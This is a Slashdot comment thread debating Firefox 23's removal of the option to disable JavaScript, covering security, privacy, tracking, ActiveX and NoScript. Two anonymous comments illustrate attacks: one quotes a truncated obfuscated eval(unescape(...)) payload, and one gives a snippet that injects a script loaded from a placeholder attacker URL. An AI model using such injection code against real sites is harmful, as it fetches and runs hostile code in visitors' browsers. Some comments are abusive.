Firefox 23 Makes JavaScript Obligatory

mikejuk writes "It seems that Firefox 23, currently in beta, has removed the option to disable JavaScript. Is this good for programmers and web apps? Why has Mozilla decided that this is the right thing to do? The simple answer is that there is a growing movement to reduce user options that can break applications. The idea is that if you provide lots of user options then users will click them in ways that aren't particularly logical. The result is that users break the browser and then complain that it is broken. For example, there are websites that not only don't work without JavaScript, but they fail in complex ways — ways that worry the end user. Hence, once you remove the disable JavaScript option Firefox suddenly works on a lot of websites. Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

Comments

why?

[bdabautcb]

Are there still security issues with having JS enabled?

Re:why?

[Joce640k]

Maybe, maybe not ... but there's definitely a lot of privacy and distracting-advertising issues.

Re:why?

[parkinglot777]

I doubt that there is no more security issue with JS (for now and not even talk about in the future). It may be a good time for me to use only Chrome for browsing, and use FF for developing web pages locally (for their easy-to-use Firebug add-on). Wikipedia (https://en.wikipedia.org/wiki/JavaScript) has some vulnerability issues for JS (may or may not be outdated by now).

Re:why?

[Anonymous Coward]

uh, duh. do bears shit in the woods?

Re:why?

[Anonymous Coward]

Not in javascript itself though it is usually used as a tool to do exploits. There exists hacks that can exploit vulnerabilities in target hosts, but it's really their responsibility that their system has vulnerabilities. If they rely on users to disable javascript then their security is certainly borked and they will be exploited one way or another.

Disabling javascript is mostly used to mitigate annoying sites. But nowadays that stuff is largely click-thru pages and css popovers which might not require javascript. It's probably easiest to close those sites and find ur content elsewhere.

Re:why?

[khasim]

Are there still security issues with having JS enabled?

One of the main reasons I switched to Firefox in the beginning was because they seemed to understand that NOT doing something stupid was preferable to layers and layers of patches for the stupidity.

IE had ActiveX and such. It was stupid. It was a security issue. It was almost impossible to avoid.

Firefox avoided the entire security issue by allowing functionality to be disabled. While you cannot be 100% certain that XYZ feature had no security issues (or even that there were security issues) you knew that disabling it rendered the question moot.

If your site requires JavaScript or Flash or whatever then I can temporarily enable them just for your site if you can convince me that the risk is worth your content.

Re:why?

[jellomizer]

Yes, but if you are that paranoid to live like you did last century, you really shouldn't be worrying about Javascript, as you are avoiding most of the web.
You might as well stick to an old version, it isn't like you are going to get a new feature anymore, that is useful.
Most of HTML5 features are Javascript dependent, so unless you are really that interested in Sites with CSS 3 without JS. You are really don't need anything new.

Re:why?

[Anonymous Coward]

Yes.

Javascript is supposed to be sandboxed in all modern browsers, but that doesn't make it perfect. All the serious vulnerabilities I've seen over the past few years exploited the sandbox, and therefore required javascript to work.

Also there is private information WITHIN the browser. Being inside the sandbox, that information is thus provided to websites.

For example:

Browser fingerprinting, using your installed fonts, screen resolution, etc. http://panopticlick.eff.org/

Mouse pointer tracking with javascript: http://jsbin.com/ufupol/98

Capturing information entered into forms and then deleted before submitting: various analytics tools

Here's a random analytics provider I found on Google (There were plenty of others):

We capture every mouse move, click, scroll and keystroke, by using a tiny piece of JavaScript copied into your website. The whole process is completely transparent to the end user, and has no noticeable effect on your site performance.

http://www.clicktale.com/products/mouse-tracking-suite/visitor-recordings

Re:why?

[jeffmeden]

Are there still security issues with having JS enabled?

One of the main reasons I switched to Firefox in the beginning was because they seemed to understand that NOT doing something stupid was preferable to layers and layers of patches for the stupidity.

IE had ActiveX and such. It was stupid. It was a security issue. It was almost impossible to avoid.

Firefox avoided the entire security issue by allowing functionality to be disabled. While you cannot be 100% certain that XYZ feature had no security issues (or even that there were security issues) you knew that disabling it rendered the question moot.

If your site requires JavaScript or Flash or whatever then I can temporarily enable them just for your site if you can convince me that the risk is worth your content.

What exactly was "stupid" about ActiveX aside from potential malicious code (either directly or via overflows) that was either enabled by default or presented to the user with a "just click yes so the website will work" style input box? Firefox "avoided" this by not implementing ActiveX but most or all of the functionality was recreated in Javascript, giving it basically the exact same level of "stupid" with the benefit of having learned from about 10 years of exploits.

That being said, I do see where the FireFox team is coming from and it is probably a good move, I just hope that the change is superficial (deleting the option in the config screen) and that NoScript continues to work the same fantastic, paranoid way it always has.

Re:why?

[julesh]

Are there still security issues with having JS enabled?

Javascript is used by most malware installation systems. The typical route is that a trustworthy hacked site is modified to include a <script> tag with its source on the malware hosting domain. The resulting script will then use some mechanism to attempt to install malware, either simply dropping an executable download on the visitor and hoping they run it, or attempting to exploit either a browser or a browser plugin bug. Turn off javascript, and the exploit is never downloaded, so can't run.

There are also direct browser attacks that would require javascript to function, e.g. http://www.mozilla.org/security/announce/2013/mfsa2013-53.html or http://www.mozilla.org/security/announce/2013/mfsa2013-46.html (to pick a couple from the last month or two).

So, yes, your system is still less secure if you have JS enabled than if you don't.

Re:why?

[Culture20]

Are there still security issues with having JS enabled?

Even if Javascript is 100% secure, running in an airtight jail, it's still using up resources on my computer. Sometimes if you leave a JS page open overnight, it will be pegging one of your CPU cores in the morning.

Re:why?

[erroneus]

Indeed, the absense of NoScript is a security issue.

Re:why?

[Culture20]

What was stupid about ActiveX was that operating system updates back then required it (unless you wanted to download and install them all by hand), so you couldn't disable it once and for all.

Re:why?

[cdrudge]

Not to nitpick, but those are privacy issues, not security issues. They aren't mutually exclusive of each other, but they aren't the same either.

Re:why?

[jones_supa]

ActiveX was actually smart in the way that it executed fast native code instead of slow interpreted Javascript.

Re:why?

[khasim]

What exactly was "stupid" about ActiveX aside from potential malicious code (either directly or via overflows) that was either enabled by default or presented to the user with a "just click yes so the website will work" style input box?

Isn't the part about enabling malicious code by default stupid enough?

Firefox "avoided" this by not implementing ActiveX but most or all of the functionality was recreated in Javascript, giving it basically the exact same level of "stupid" with the benefit of having learned from about 10 years of exploits.

It's more of the "globally disabled EXCEPT for a whitelist maintained by the user".

It's the security methodology that is the difference.
Global enable vs global deny.

And Microsoft had the exact same reasoning behind their global enable. It makes it easier for THIRD PARTIES to present their content in the way that they want to the user.

That's almost acceptable when those THIRD PARTIES are trustworthy.

But those THIRD PARTIES could just as easily be crackers. And why make it easier for crackers to run their code on your computer in the way that they want to?

Re:why?

[Jane Q. Public]

Not to nitpick either, but they're both.

When people can track what you are doing while sitting in front of the computer, it's a VERY BIG security issue.

Re:why?

[jones_supa]

Those kind of attacks are extremely rare these days.

Re:why?

[jedidiah]

Except I don't have to avoid Javascript entirely.

I can do it selectively.

I can decide who to let into my circle of trust.

Given what kind of random crap seems to be on modern websites these days. That's a very good idea. It's not paranoia when people really out to get you. Trying to deny the danger is the position that's really out of touch with reality.

YOU are the one that's a danger to self and others, not me.

Juvenile insults won't change that.

Re:why?

[khasim]

Javascript is supposed to be sandboxed in all modern browsers, but that doesn't make it perfect.

And Java was supposed to be in a safe sandbox as well. And anyone here should know about the variety of Java exploits out there and the constant patching to stay ahead of them.

Trusting a sandbox is stupid.
You also need a way to globally deny the option of running the code in the first place.

Re:why?

[Fuzzums]

Some sites have java script that disables context menus (right mouse button) and other things that I don't want. That's why I want to be able to control what my browser does and turn java script off if that gives me a better user experience.

Re:why?

[jedidiah]

Yes. Forgot about this bit. NoScript isn't just about security. It's also about performance. A lot of the extra nonsense that sites run just isn't necessary. It doesn't significantly impact the desired user experience to have all of that random crap turned off.

It's much like food labeling or processes running on your PC.

If you don't recognize it, chances are that it's to be avoided.

Re:why?

[gl4ss]

you can do all kinds of funny stuff with javascript, like use the computer for calculations, redirect the user to content he doesn't want randomly, fuck around with adverts...

personally I don't understand this choice from mozilla, it's removing choice that could just as well have been buried a little deeper.

it just shows how fucking out of touch current mozilla is. it's showing up on their % rate too, so they're trying all kinds of stupid shit and this "the user is a stupid dolt" move from them is just the latest dick move. it might have something to do with the fact that if you disable the js you're obviously not going to run any apps from their store and that might actually work as their internal metric - because they moved on to copying google rather than being the one being copied - and in their long term plan apps==MONAYHH.

now if they just concentrated on making a good fast lean mean browser... you know, with the attitude that phoenix was made with. now it's all the same to just use chrome.

Re:why?

[Lithdren]

My odds of being struck by lighting while playing golf are also very rare these days. Doesn't make it a good idea.

Re:why?

[Anonymous Coward]

Great idea. Use Chrome - made by the company that freely gives away information to the NSA.

I'm sure there aren't any back-doors or security problems there....

Re:why?

[Anonymous Coward]

Privacy / performance issues are the reasons I have 3rd party or non-whitelisted javascript disabled. That is good enough for me. The troubling part is when setting up a system for others and they don't understand the tools or that the tools exist.

Re:why?

[hierophanta]

and this is the whole reason we disable JS :\

Re:why?

[Jeremiah Cornelius]

Security is sometimes at risk, on particular sites.

I will selectively turn off JS for some hosts, based on my evaluation of reputation.

I acknowledge that I may be the exception, and that the risk is generally elsewhere. More often, people have vulnerable, Turing-complete plugins, which both provide the content-incentive (bait) and means (trap) to exploit a visitor.

Adobe! You have the top 2 contenders!

Re:why?

[Anonymous Coward]

And a lot of obfuscation/attack-ware issues:

eval(unescape('%66%75%6e%63%74%69%6f%6e%20%73%35%35%34%33%31%37%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22....

Re:why?

[Anonymous Coward]

The problem is the average user is an idiot and disables javascript by default because of some tin-foil hat security site explains how javascript is bad, but not how it's good, then the user forgets or doesn't understand what they did and stop using FireFox all together because "it doesn't work".

Re:why?

[Jeremiah Cornelius]

Now this furore is a little silly.

Hey! Word to the wise: about:config I doubt the feature is actually removed...

I assume that this is a UI change and that Mozilla is removing a button, that caused a greater cost to support, than justify with benefit.

Really, the advanced web user, who is judicious about enabling script, can opt for a plugin, if they want a button.

Re:why?

[Anonymous Coward]

...in addition to which, JS can basically scan the local network, even if it hopefully can't punch a hole into NAT using UPnP (the latter fails due to inability to send UDP datagrams). But if your local router has a weak password and HTTP administration interface, Javascript is theoretically capable of owning it and DMZ-ing your host.

Re:why?

[PTBarnum]

Are you confusing Firefox with NoScript? I haven't looked recently, but the whole reason I installed NoScript was that Firefox only allowed enabling or disabling JavaScript globally, and disabling it globally broke too many sites. So I partially agree with the GP that turning off Javascript entirely removes some of the motivation to upgrade the browser.

On the other hand, the concept of trust circles is also somewhat flawed, because there are sites that I've trusted and that have used JavaScript for good reasons, that have been hacked and had malicious Javascript inserted. Maybe that's just my poor choice of who to trust, but judging somebody's security from the outside is hard.

Re:why?

[Anonymous Coward]

var head= document.getElementsByTagName('head')[0];
      var script= document.createElement('script');
      script.type= 'text/javascript';
      script.src= 'http://someurl.com/HaX0R.js';
      head.appendChild(script);

This can be done via cash poisoning or others means.

Re:why?

[Anonymous Coward]

Are there still security issues with having JS enabled?

Better question: Are there web sites that are usable without JavaScript? I don't think I have seen one in years.

Re:why?

[jbengt]

What exactly was "stupid" about ActiveX aside from potential malicious code (either directly or via overflows) that was either enabled by default or presented to the user with a "just click yes so the website will work" style input box? Firefox "avoided" this by not implementing ActiveX but most or all of the functionality was recreated in Javascript, giving it basically the exact same level of "stupid"

ActiveX involves installing "3rd party" native code modules to get the desired functionality.
Javascript involves installing a "1st party" native code interpreter and running "3rd party" interpreted code in that to achieve the desired functionality.
It is somewhat easier, therefore, to use ActiveX to install an exploit vector.

Re:why?

[ArhcAngel]

Now this furore is a little silly.

Hey! Word to the wise: about:config I doubt the feature is actually removed...

I assume that this is a UI change and that Mozilla is removing a button, that caused a greater cost to support, than justify with benefit.

Really, the advanced web user, who is judicious about enabling script, can opt for a plugin, if they want a button.

Not according to my button plugin of choice's author. He indicates it is a change in the API that will make his plugin inoperable.

Re:why?

[Jeremiah Cornelius]

PREFERENCE NAME STATUS TYPE VALUE
javascript.enabled DEFAULT BOOLEAN TRUE

Re:why?

[Anonymous Coward]

Hint- this is very possible and easily done without javascript.

Re:why?

[Jeremiah Cornelius]

Interesting. I need to get a copy, and plumb the depths of about:config .

Re:why?

[naoursla]

There are if the browser has a security bug.

Security bugs that don't require Javascript are less common.

Re:why?

[GoogleShill]

What exactly was "stupid" about ActiveX aside from potential malicious code (either directly or via overflows) that was either enabled by default or presented to the user with a "just click yes so the website will work" style input box? Firefox "avoided" this by not implementing ActiveX but most or all of the functionality was recreated in Javascript, giving it basically the exact same level of "stupid" with the benefit of having learned from about 10 years of exploits.

How about the fact that scripts could invoke any ActiveX object on the system that was marked as "safe for scripting" without any user interaction? Bugs in those components have plagued IE users with drive-by installations of malware. This is why ActiveX killbits were developed and are updated all the time.

Letting an ActiveX control run is equivalent to giving that web page full control of your computer. The only sandbox is UAC, and that has been proven to be full of holes.

Re:why?

[lister king of smeg]

Now this furore is a little silly.

Hey! Word to the wise: about:config I doubt the feature is actually removed...

I assume that this is a UI change and that Mozilla is removing a button, that caused a greater cost to support, than justify with benefit.

Really, the advanced web user, who is judicious about enabling script, can opt for a plugin, if they want a button.

thankyou this is exactly what I came here to say.

Re:why?

[hydrofix]

ActiveX was actually smart in the way that it executed fast native code instead of slow interpreted Javascript.

And just for the record, nowadays all browsers compile (JIT) rather than interpret JavaScript, making it much, much faster than it used to be.

Re:why?

[Anonymous Coward]

Having Javascript enabled IS a security issue. And a usability issue. And a performance issue. And a software design issue. And a disabled-rights issue. And a how-the-web-works issue.

We need a fork.

Re:why?

[Jah-Wren Ryel]

ActiveX was actually smart in the way that it executed fast native code instead of slow interpreted Javascript.

Yeah, smart like in the way it is smart to give a gun to the guy mugging you with a his bare hands.

Re:why?

[Anonymous Coward]

Those kind of attacks are extremely rare these days.

What? Script-ridden advert based attacks were all the rage a years or two ago, and still exist on many shady sites today.

Yet they never once bothered me because Firefox and NoScript allowed me to selectively choose which scripts to run before running them!

It's bad enough having another version of Windows that I won't use - now I've got to get used to a new browser if I want to remain secure? Fucking muppets running everything these days.

Re:why?

[Anonymous Coward]

Privacy issues like that are a subset of security issues, in my opinion.

Re:why?

[Anonymous Coward]

you're a dipshit.

Re:why?

[Anonymous Coward]

No, ActiveX was stupid in the way it executed native code. It basically just downloaded a binary chunk and executed it, with a little security theatre thrown in to plausibly deny that it was fundamentally broken.

NaCl is an example of a smart way to execute native code.

Re:why?

[Anonymous Coward]

I know that it is usually an "advanced" web user who does this, but I know TOR used to make a big deal about turning off Javascript because it is fairly easy to use that to trick your browser into identifying you. I guess it is just going to be even more of an inconvenience to do so now.

Re:why?

[Anonymous Coward]

99% of all statistics may be made up.. but here's part of that other 3%.... simple fact is 99% of all javascript used online is totally and completely UNNECESSARY for web site functionality.

the number one use of javascript online is to track users and violate their privacy.

so ya, javascript and privacy go hand-in-hand.

Re:why?

[Anonymous Coward]

Not to nitpick, but those are privacy issues, not security issues.

How is a remote, software-based keylogger that you don't even need to put on the victim's machine yourself not a security issue?

Re:why?

[UltraZelda64]

Not to mention it has the nice side effect of saving CPU cycles and preventing web pages from going unresponsive. I tend to enable JavaScript (since disabling it breaks too many sites) but I don't allow it to do anything outside of the web page with the browser itself (manipulate windows or context menus). Of course, none of this really matters, because I've been running NoScript for a few years now and the only sites that are ever allowed to run scripts are the ones I specifically allow to do so.

Re:why?

[kasperd]

Some sites have java script that disables context menus (right mouse button) and other things that I don't want.

If javascript can break functionality of the browser UI, then that is a browser bug. What you mention is one of many bugs present across a wide range of browsers. So far I haven't had much luck reporting such bugs. I do recall being told to just disable javascript in order to avoid such a bug. At least if they remove the ability to disable javascript, then they can no longer use that lame excuse. That is really the only good thing I can say about having javscript forced on.

There are sites that do something good with javascript. But given the amount of damage you can do with javascript, it should still have been disabled by default, with the possibility of enabling it on a per site basis.

Having javascript turned on permanently is a good goal to aim for. But they forgot the step on the way there, which was to fix all the issues, which makes it better for users to keep it turned off.

Re:why?

[UltraZelda64]

Do you realize just how much of a pain in the ass Firefox has become over the years due to Mozilla's insistence of removing and changing features along with the ability to change them back with the GUI? Instead we have to deal more and more (and more...) with a cryptic Mozilla equivalent to the Windows or GNOME registry. I bet you love the registry if you have no problem with about:config being even more heavily used. It was fine when it was reserved primarily for "special" options... but more and more, it's becoming like GNOME where it has to be used for damn near every fucking thing. All because Mozilla, for whatever reason, feels to go down the Google/GNOME path of dumbing their browser down to hell and back.

Re:why?

[Anonymous Coward]

The Charmin bear does.

Re:why?

[Anonymous Coward]

You can't find them, but that won't stop the NSA from using them.
 

Re:why?

[strimpster]

What are you doing in Firebug that you can't do in Chrome's developer tools? IMO Chrome's developer tools provides much better support to developers. There are a lot of features that Chrome's developer tools has that I don't think exist in Firebug, albeit that I haven't used Firebug on a daily basis in a couple of years. As an example, the Timeline/Profiles features for analyzing poor performance.

Re:why?

[jeffmeden]

Firefox has never disabled JS by default or offered any sort of whitelisting (although Noscript does and is so good that parts of it ought to be built in). In loosely controlled systems, there will always be risk at the edge between what a versatile feature (like a client side programming language) is not allowed to do, and what the user wants it to do. Sandboxing is the way to balance it, because users *want* by default and they secure by exception. You are suggesting the opposite, which is good on paper, but unfortunately no one would use your browser.

Re:why?

[BitZtream]

IE had ActiveX and such. It was stupid. It was a security issue. It was almost impossible to avoid.

Mozilla Gecko (the framework Firefox is built on) makes extensive use of XPCOM, which is functionally equivalent of ActiveX in every way, except that it works outside of Windows.

Some Firefox plugins are ... XPCOM objects.

XPCOM has been at the core of the Firefox design as long as I've seen the source (I was embedding gecko into apps in my former life, at least 7 years).

You have absolutely no idea what so ever what ActiveX is, nor do you have any idea what the actual problem with IE was that resulted in so many ActiveX related exploits.

ActiveX is a self describing plugin system which allows an application to load and potentially use a plugin without any prior knowledge, EXACTLY like XPCOM in Firefox. Again, they are 100% functionally the same.

Internet Explorer had retarded defaults (allow any unsigned activex to install without asking) to begin with, then those were 'fixed', and then the install without prompting exploits started, so malicious sites would install activex controls without your consent ... and then ... we also have to deal with all activex controls which were installed with improper ActiveX safety flags.

The safety flags were 2 flags set aside to allow an ActiveX control to say 'hey, I'm safe to use in Internet Explorer' and 'I'm safe to allow any random website to use me in IE!'. The morons in the Excel team (as one example) would, out of ignorance, flag all of their controls for Excel as safe for IE/safe for scripting ... so IE thought it was perfectly acceptable to load a control that will read and write random files on the drive. Every time a Windows Update patch for 'ActiveX killbits' comes out ... this is what they are talking about, changing the OS to ignore controls flagged as safe when they are known not to be.

Mozilla has no such support for flagging controls as safe for browser/safe for scripting. It tries to pretend it is an uncrossable barrier, but that is in fact no way the case.

So any time an 'ActiveX' issue comes up, you should be aware that it wasn't an ActiveX problem, it was an Internet Explorer implementation of ActiveX, and other developers bad code that was exploitable.

You really can't 'exploit' ActiveX any more than you can 'exploit' DLL or SO. You can exploit bad implementations of the loader.

Imagine if Firefox allowed web page scripting to automatically install Firefox plugins. Would you blame XPCOM then? Thats what you do when you blame ActiveX.

Finally, it makes you look fucking stupid when you blame ActiveX. All you do is make it clear that you don't actually know what the problem was, let alone understand what it was. You just sound like an ignorant drama queen.

Re:why?

[jbolden]

Quite a lot of sandboxes have done well. Just because Oracle's sucked does not mean all sandboxes have to suck.

Re:why?

[davydagger]

freely???

the NSA more or less demanded google hand it over. Google has done more than most companies to fight NSA seizure of their data.

more than microsoft, who after aquiring skype centralized the protocol, and put a back door in it.

Re:why?

[Nutria]

Flashblock (and to a lesser degree, AdBlockPlus) is excellent for reducing CPU usage.

Re:why?

[jeffmeden]

Not to nitpick either, but they're both.

When people can track what you are doing while sitting in front of the computer, it's a VERY BIG security issue.

Yes, JS is scary, but that bit of marketingspeak is a bit over the top: they can't see *every* click/keystroke/etc; just the ones that involve interacting with their site content. And, if you have to worry about them watching you use their site, you hopefully will leave before giving them any important information anyway.

Re:why?

[narcc]

So... It's a bad idea to play golf?

Re:why?

[Anonymous Coward]

Some sites have java script that disables context menus (right mouse button) and other things that I don't want. That's why I want to be able to control what my browser does and turn java script off if that gives me a better user experience.

Don't worry, you can always use NoScript to get control of "save image as..." back.

Re:why?

[rnturn]

``Sometimes if you leave a JS page open overnight, it will be pegging one of your CPU cores in the morning.''

Had this happen more than once. I don't think it's really possible to figure out which tab is running the offending code. I wind up bookmarking the lot, bouncing the browser, and reloading each previously opened tab with the idea that, today, I'll finish reading that web page and can close the tab and keep the JS from pegging the CPU again.

Re:why?

[Anonymous Coward]

I think is a better idea to use Firefox for browsing and Chrome to develop, the dev tools are awesome and responsive. Actually, there's Chromium to consider...

Re:why?

[rnturn]

``It's much like food labeling or processes running on your PC.

If you don't recognize it, chances are that it's to be avoided.''

I've adopted that attitude when grocery shopping. I figure that if I feel a need to consult my old BioChem text to figure out just what that ingredient is, I shouldn't be eating it.

Re:why?

[Anonymous Coward]

It should not be possible for a website to know where my mouse moved, except for the cases where I click on a link or a submit button. It should not be possible for a website to know my keystrokes, except for the information that I intentionally entered into form fields and submitted to that site.

Re:why?

[MoFoQ]

crap....so noscript also?

Re:why?

[Anonymous Coward]

I tend to enable JavaScript (since disabling it breaks too many sites) but I don't allow it to do anything outside of the web page with the browser itself (manipulate windows or context menus)

You don't do anything, that's by design.

Re:why?

[UltraZelda64]

I tried Flashblock a few years ago, but found that Adblock Plus + NoScript did the same thing (and more), and I've actually been running them both for quite a while now. More recently installed and have been running DoNotTrackMe (then called DoNotTrackPlus). The only problem, with all these privacy/performance extensions practically becoming necessary these days, while you might be able to cut some resources you're just adding more with every extension. :/ I guess it's better than the alternative: just letting every web site do whatever it wants.

Re: why?

[Anonymous Coward]

I'm all for hating Oracle, but it was the far more competent Sun that never got the sandbox quite right. Now the rentiers get to try and fix something they can barely understand... good luck Oracle devs!

Re:why?

[Synerg1y]

Firefox has support? What's the toll free number?

Also dummifying the UI isn't what firefox used to be about, I've always liked how you can select what you want or don't want UPON install, unlike blanket check boxes in IE.

Re:why?

[Nutria]

I uninstalled NoScript years ago because of weird failures even with whitelisting. Essentially, I had to whitelist so much that NoScript became pointless.

Re:why?

[PatentMagus]

I object to your use of the racially inflammatory word "cracker."

Re:why?

[TheRealMindChild]

ActiveX was dangerous, because you were loading a full blown executable (albeit technically a DLL, it is simply loading semantics) . In IE6, there was no sandbox. It was running with privileges equal to the current users. In those days, that was almost always one with Admin privileges.

Re:why?

[SlashV]

I figure that if I feel a need to consult my old BioChem text to figure out just what that ingredient is, I shouldn't be eating it.

Though I think this is a wise attitude, you must be starving!? Or do you grow your own groceries or something?

Re:why?

[jeffmeden]

It should not be possible for a website to know where my mouse moved, except for the cases where I click on a link or a submit button. It should not be possible for a website to know my keystrokes, except for the information that I intentionally entered into form fields and submitted to that site.

Then hopefully you have Javascript turned off. Some users like mouse-overs, pre-validation, ajax, etc (not that it makes them good).

Re:why?

[Anonymous Coward]

This. A thousand times this.
There are still folks who are not on fat pipes.
There are folks who are on data-capped accounts.
All of the content brought down by scripts mounts up.

If your site is completely, utterly, broken when I allow NoScript to run JS on the top-level (ie. no third party stuff) , then I say you'd better have a pretty damn good argument for me when I tell you "you're doing it wrong"

Re:why?

[Anonymous Coward]

"Instead of hopping into about:config and disabling JS (if I haven't already disabled it), I'm going to switch to another browser entirely where I'll effectively have to do just as much work to disable JS anyway."

Sounds intelligent to me.

Re:why?

[Giorgio Maone]

Are there still security issues with having JS enabled?

Fresh from the summary of the upcoming BlackHat talk by Jeremiah Grossman, A Million Browser Botnet:

With a few lines of HTML5 and javascript code we’ll demonstrate just how you can easily commandeer browsers to perform DDoS attacks, participate in email spam campaigns, crack hashes and even help brute-force passwords. [...] no zero-days or malware is required. Oh, and there is no patch. The Web is supposed to work this way.

Re:why?

[Spudley]

If your site requires JavaScript or Flash or whatever then I can temporarily enable them just for your site if you can convince me that the risk is worth your content.

It's a laudable idea. The only problem I have with that is how practical is it? Virtually every website I've seen in the last few years uses JS and makes a basic assumption that JS is enabled. If you visit a lot of sites, you're going to be spending your whole life switching the JS flag off and on.

And as for convincing yourself that any given site is safe... well, yeah. I can really see you spending hours poring over all the complex minified/compiled JS code that comes with most sites these days.

My point is that for all the earnest good intentions, switching off Javascript is not really a sensible option, even for most power users. Maybe those who are ultra-paranoid might be still using it, but even those users will be finding it a pain.

In my opinion, the decision to remove the option from Firefox is probably a good one. I don't have to deal with front-line support, but if I did, I'd be very happy that options like this are being removed.

Perhaps there's a case to be had for Mozilla to release a separate "paranoid" version that retains options like this? Perhaps. It might be popular among parts of the Slashdot crowd, but overall I doubt it would have enough takers to make it worthwhile.

Re:why?

[yusing]

Yes, there are. But for those with privacy concerns, fingerprinting is MUCH easier with JS turned on. Just go over to Panopticlick

https://panopticlick.eff.org/index.php?action=log&js=yes

and see for yourself. Anti-tracker plugins like Ghostery stop that brand of foolishness, but do nothing to avoid fingerprinting. You'll need a fairly sophisticated user-agent spoofer, since some very big sites (Youtube for one) will -not function- with some -very common- user-agent strings. Just try.

Re:why?

[chihowa]

I tend to enable JavaScript (since disabling it breaks too many sites) but I don't allow it to do anything outside of the web page with the browser itself (manipulate windows or context menus)

You don't do anything, that's by design.

Firefox 22, by default, allows JavaScript to do those things.

Re: why?

[Anonymous Coward]

So your running the beta, vs. 23, right now? And that option is still in about:config ? Didn't think so!

How speculation is modded as insightful when you haven't verified your claim is partly why /. is going to the dogs. Go build it, if you run non-windows, and confirm or deny this for us, would you? I can't do that on my phone!

Re:why?

[mrchaotica]

Just shop around the edges of the grocery store (produce, bakery, meat case, etc.) and avoid the middle. You don't have to grow your own food to avoid that stuff, but you do pretty much have to cook from scratch rather than buying pre-packaged meals. (Hint: find something like "Rachel Ray's Week in a Day" to learn how to cook from scratch efficiently.)

Re:why?

[steelfood]

You'll find that they are one and the same issue. And security and privacy are about individual rights and freedoms.

Re:why?

[Zenzilla]

I remember the first ActiveX control I wrote. It deleted all the files on the C:\ drive. Good times!

Re:why?

[Zenzilla]

The built in tools for debugging web apps in chrome are just as good if not better than firebug these days.

Re:why?

[Anonymous Coward]

No. As I understand only the Java parts of that extension are affected by the new click to play plugins in nightly. Noscript and such still continue to function.

Re:why?

[Anonymous Coward]

If you actually read the blog, it has nothing to do with javascript enable/disable. The way to disable plugins (flash, etc) has changed in FF 23. If you read the bug that he pointed to, they didn't remove the ability, just modified how it was done.

Re:why?

[Anonymous Coward]

According to this bugzilla comment about:config is still there, and noscript will still work.

https://bugzilla.mozilla.org/show_bug.cgi?id=873709#c5

Re:why?

[AmiMoJo]

An add-on to block 3rd party Javascript would be a nice alternative NoScript which requires a lot of whitelisting to be useful. Almost all advertising related Javascript is from off-site.

Re:why?

[Anonymous Coward]

You fucking dull brained retard idiot. We want to enable all functionality for sites we trust, and disable it for sites we don't trust. You fucking numbwit manchlid.

Re:why?

[furbyhater]

How is it easily done without JS or other browser plugins, by a remote webserver?

Re:why?

[wootcat]

Are there any plug-ins or methods which allow you to spoof what information is sent back?

Re:why?

[Anonymous Coward]

One of the main reasons I switched to Firefox in the beginning was because they seemed to understand that NOT doing something stupid was preferable to layers and layers of patches for the stupidity.

Seconded. I switched entirely to Firefox back around version 0.8 for this reason. Mozilla has seemed to completely reverse direction over the last few years on all of the reasons that I had for using it.

I had been excited about the prospect of a Mozilla based smartphone, but with this news I no longer care. I no longer see Mozilla as caring about my security or privacy.

[P.S. - as an aside: if you are not familiar with it, google Evercookie. This is an aside and not the only reason for my comment above.]

Re:why?

[mcgrew]

No. This is completely unacceptable. FireFox is my browser of choice, and I don't block JS, but there's no reason whatever I should have to go to a third party if I decide to.

What's next, I'll have to DL the HTML and strip the JS out of the source and run it locally?

Unless Mozilla changes these terrible plans, I'll have to use a different browser. There's no reason whatever to remove this feature.

My answer isn't no, it's HELL NO and fuck you, Mozilla. If you want me to continue using your products you'll grow a brain and think of your users, not your Google sugardaddy.

Re:why?

[Dahamma]

I'm still trying to figure out what it would look like to be struck by lighting while playing golf... maybe a lamp post could fall on him? Or someone threw a flashlight out of an airplane?

Re:why?

[slashmydots]

not if you leave the Java plugin disabled until it's needed and leave the PDF plugin completely disabled (hello, explorer works just fine to open FTP'ed PDFs, thanks)

Re:why?

[Anonymous Coward]

A good hosts file is even better.

Re: why?

[Anonymous Coward]

I need to reply to this.

don't use the internet?

Re:why?

[Anonymous Coward]

Just out of interest, are there any non-stupid implementations of activex?

There are also other issues, of course, like the chronic lack of barriers in the operating system proper, which would be equally applicable to xpcom on the same operating system, and which equally make, say, dropping dlls on the target a nice means of exploitation. All that may not be blamable on activex proper from an activex core system developer's view, but to the rest of us, "activex" has become a byword for a towering, festering mess that spells "this is unfixably exploitable".

Even taking all you've said as gospel doesn't actually give much reason to abandon that view. Now we know in more detail why that particular pile of crap is such a security hole, but it's not less of a festering problem for it. Sorry.

This isn't to imply that xpcom somehow isn't exploitable. It probably is if you can manage to feed your xpcom to the target. I will say that for plenty of targets, especially those where activex wouldn't run, it's actually a bit harder than dropping activex on the target. That said, I've had my fingers in both (briefly), and I dislike them both. A lot, if for different reasons.

Re: why?

[Anonymous Coward]

is cpu usage a problem on your machine? maybe you should get a second computer to do all your intensive processing tasks so you're free to browse the web in peace.

seriously, you consider saving cpu cycles a good reason for disabling javascript?

Re:why?

[tepples]

What are you doing in Firebug that you can't do in Chrome's developer tools?

Test Gecko behaviors that differ from those of WebKit/Blink.

Re:why?

[Fuzzums]

Sorry. No. What I mean is sites that want to prevent you from RMB > FireBug > Inspect/alter site.
I never experienced the bug you mention. I hope it goes away.

Re:why?

[Darinbob]

That, and excessive CPU usage.

Re:why?

[Darinbob]

I get used to temporarily whitelisting things. It's really interesting to see just how much of the web is utterly dependent upon javascript for things that could be done without it. If you enable it all though, you're back to ubiquitous advertisements, tracking and privacy issues, and noticeable drops in performance. I don't need to see every site on the web anyway, so if I have to go and enable things to get it to work then half the item I'll just leave the site and never return; there has to be enough html there to give me the idea that enabling javascript is worth it. It's like TV, just because it's available doesn't mean you have to watch it.

Re:why?

[Darinbob]

ActiveX was also OS specific, There was never a chance it could ever work outside of Windows and Intel.

Re:why?

[Mr. Slippery]

Are there still security issues with having JS enabled?

There are security issues ANYTIME you let someone run code on your machine. Javascript is code. Therefore, yes, there are "still" (and always will be) security issues with having JS enabled.

Yes, sometimes -- very, very rarely, about 1-5% as often as clueless developers obsessed with shiny things think -- Javascript is needed for functionality. But if you can't make your site safe to access with JS turned off, you fail.

And of course this changes nothing. Folks don't turn off JS entirely these day, they use Noscript.

Re:why?

[Darinbob]

